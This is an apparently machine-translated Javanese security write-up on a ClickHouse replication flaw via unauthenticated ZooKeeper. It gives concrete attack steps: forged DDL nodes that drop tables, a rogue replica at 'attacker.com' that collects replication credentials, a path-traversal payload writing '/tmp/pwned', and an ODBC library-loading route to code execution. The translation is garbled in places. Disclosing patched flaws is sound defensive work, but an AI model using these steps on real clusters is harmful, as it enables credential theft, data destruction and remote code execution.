Artikel iki bakal nyritakake babagan kerentanan sing spesifik banget ing protokol replikasi ClickHouse, lan uga bakal nuduhake carane permukaan serangan bisa ditambahi.
ClickHouse minangka basis data kanggo nyimpen volume data sing akeh, paling kerep nggunakake luwih saka siji replika. Clustering lan replikasi ing ClickHouse dibangun ing ndhuwur
Instalasi ZK standar ora mbutuhake otentikasi, mula ewu server ZK sing digunakake kanggo ngatur Kafka, Hadoop, ClickHouse kasedhiya kanggo umum.
Kanggo nyuda lumahing serangan, sampeyan kudu tansah ngatur otentikasi lan wewenang nalika nginstal ZooKeeper
Mesthine ana sawetara deseralisasi Java adhedhasar 0 dina, nanging mbayangno manawa panyerang bisa maca lan nulis menyang ZooKeeper, digunakake kanggo replikasi ClickHouse.
Nalika dikonfigurasi ing mode kluster, ClickHouse ndhukung pitakon sing disebarake /clickhouse/task_queue/ddl
.
Contone, sampeyan nggawe simpul /clickhouse/task_queue/ddl/query-0001
kanthi isi:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
lan sawise iku, tabel test bakal dibusak ing server kluster host1 lan host2. DDL uga ndhukung pitakon nggawe CREATE / ALTER / DROP.
Swara medeni? Nanging ing ngendi panyerang bisa entuk alamat server?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
simpul bakal digawe kolom ΠΈ Metadata.
Konten /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Apa bisa nggabungake data saka kluster iki? Ya, yen port replikasi (TCP/9009
) ing server chXX-address
firewall ora bakal ditutup lan bukti asli kanggo rΓ©plikasi ora bakal diatur. Kepiye cara ngliwati otentikasi?
Penyerang bisa nggawe replika anyar ing ZK kanthi mung nyalin isi saka /clickhouse/tables/01-01/foobar/replicas/chXX
lan ngowahi teges host
.
Konten /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Banjur sampeyan kudu ngandhani replika liyane yen ana blok data anyar ing server penyerang sing kudu dijupuk - simpul digawe ing ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(Kontra pertumbuhan monoton XX, sing kudu luwih gedhe tinimbang sing pungkasan ing log acara):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ngendi sumber_replika - jeneng replika penyerang sing digawe ing langkah sadurunge, blok_id - pengenal blok data, njaluk - printah "entuk blok" (lan
Sabanjure, saben replika maca acara anyar ing log lan menyang server sing dikontrol dening panyerang kanggo nampa blok data (protokol replikasi binar, mlaku ing ndhuwur HTTP). Server attacker.com
bakal nampa panjalukan:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ngendi XXX minangka data otentikasi kanggo replikasi. Ing sawetara kasus, iki bisa dadi akun kanthi akses menyang database liwat protokol ClickHouse utama lan protokol HTTP. Nalika sampeyan wis weruh, lumahing serangan dadi kritis gedhe amarga ZooKeeper, digunakake kanggo replikasi, kiwa tanpa otentikasi diatur.
Ayo kang katon ing fungsi njupuk pemblokiran data saka tiron, iku ditulis karo kapercayan lengkap sing kabeh tiron ing kontrol sing tepat lan ana kapercayan antarane wong-wong mau.
kode pangolahan replikasi
Fungsi kasebut maca dhaptar file, banjur jeneng, ukuran, isi, lan banjur nulis menyang sistem file. Iku worth kapisah njlèntrèhaké carane data disimpen ing sistem file.
Ana sawetara subdirektori ing /var/lib/clickhouse
(direktori panyimpenan standar saka file konfigurasi):
bendera - direktori kanggo ngrekam
tmp - direktori kanggo nyimpen file sauntara;
user_files - operasi karo file ing panjalukan diwatesi ing direktori iki (INTO OUTFILE lan liya-liyane);
Metadata - file sql kanthi katrangan tabel;
preprocessed_configs - file konfigurasi turunan diproses saka /etc/clickhouse-server
;
data - direktori nyata karo data dhewe, ing kasus iki kanggo saben database subdirektori kapisah mung digawe kene (contone /var/lib/clickhouse/data/default
).
Kanggo saben tabel, subdirektori digawe ing direktori database. Saben kolom minangka file sing kapisah gumantung saka
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika kasebut ngarepake nampa file kanthi jeneng sing padha nalika ngolah blok data lan ora validasi kanthi cara apa wae.
Pembaca sing ati-ati bisa uga wis krungu babagan gabungan file_name sing ora aman ing sawijining fungsi WriteBufferFromFile
. Ya, iki ngidini panyerang nulis konten sing sewenang-wenang menyang file apa wae ing FS kanthi hak pangguna clickhouse
. Kanggo nindakake iki, replika sing dikontrol dening panyerang kudu ngasilake respon ing ngisor iki kanggo panjaluk kasebut (jeda baris wis ditambahake supaya gampang dingerteni):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
lan sawise concatenation ../../../../../../../../../tmp/pwned
file bakal ditulis /tmp/pwned karo isi hellofromzookeeper.
Ana sawetara opsi kanggo ngowahi kemampuan nulis file menyang eksekusi kode remot (RCE).
Kamus eksternal ing RCE
Ing versi lawas, direktori karo setelan ClickHouse disimpen kanthi hak pangguna clickhouse gawan. File setelan minangka file XML sing diwaca layanan nalika wiwitan lan banjur disimpen ing cache /var/lib/clickhouse/preprocessed_configs
. Nalika owah-owahan kedadeyan, dheweke diwaca maneh. Yen sampeyan duwe akses menyang /etc/clickhouse-server
penyerang bisa nggawe dhewe root
.
ODBC kanggo RCE
Nalika nginstal paket, pangguna digawe clickhouse
, nanging direktori ngarep ora digawe /nonexistent
. Nanging, nalika nggunakake kamus eksternal, utawa kanggo alasan liyane, administrator nggawe direktori /nonexistent
lan menehi pangguna clickhouse
akses kanggo nulis menyang (SSZB! kira-kira. penerjemah).
ClickHouse ndhukung odbc-bridge
, dadi ora bisa maneh nemtokake dalan driver saka panjalukan. Nanging apa panyerang bisa nulis menyang direktori ngarep nggunakake kerentanan kasebut ing ndhuwur?
Ayo nggawe file ~/.odbc.ini
kanthi isi kaya iki:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
banjur ing wiwitan SELECT * FROM odbc('DSN=lalala', 'test', 'test');
perpustakaan bakal dimuat test.so
lan nampa RCE (matur nuwun
Iki lan kerentanan liyane wis didandani ing ClickHouse versi 19.14.3. Jaga ClickHouse lan ZooKeepers!
Source: www.habr.com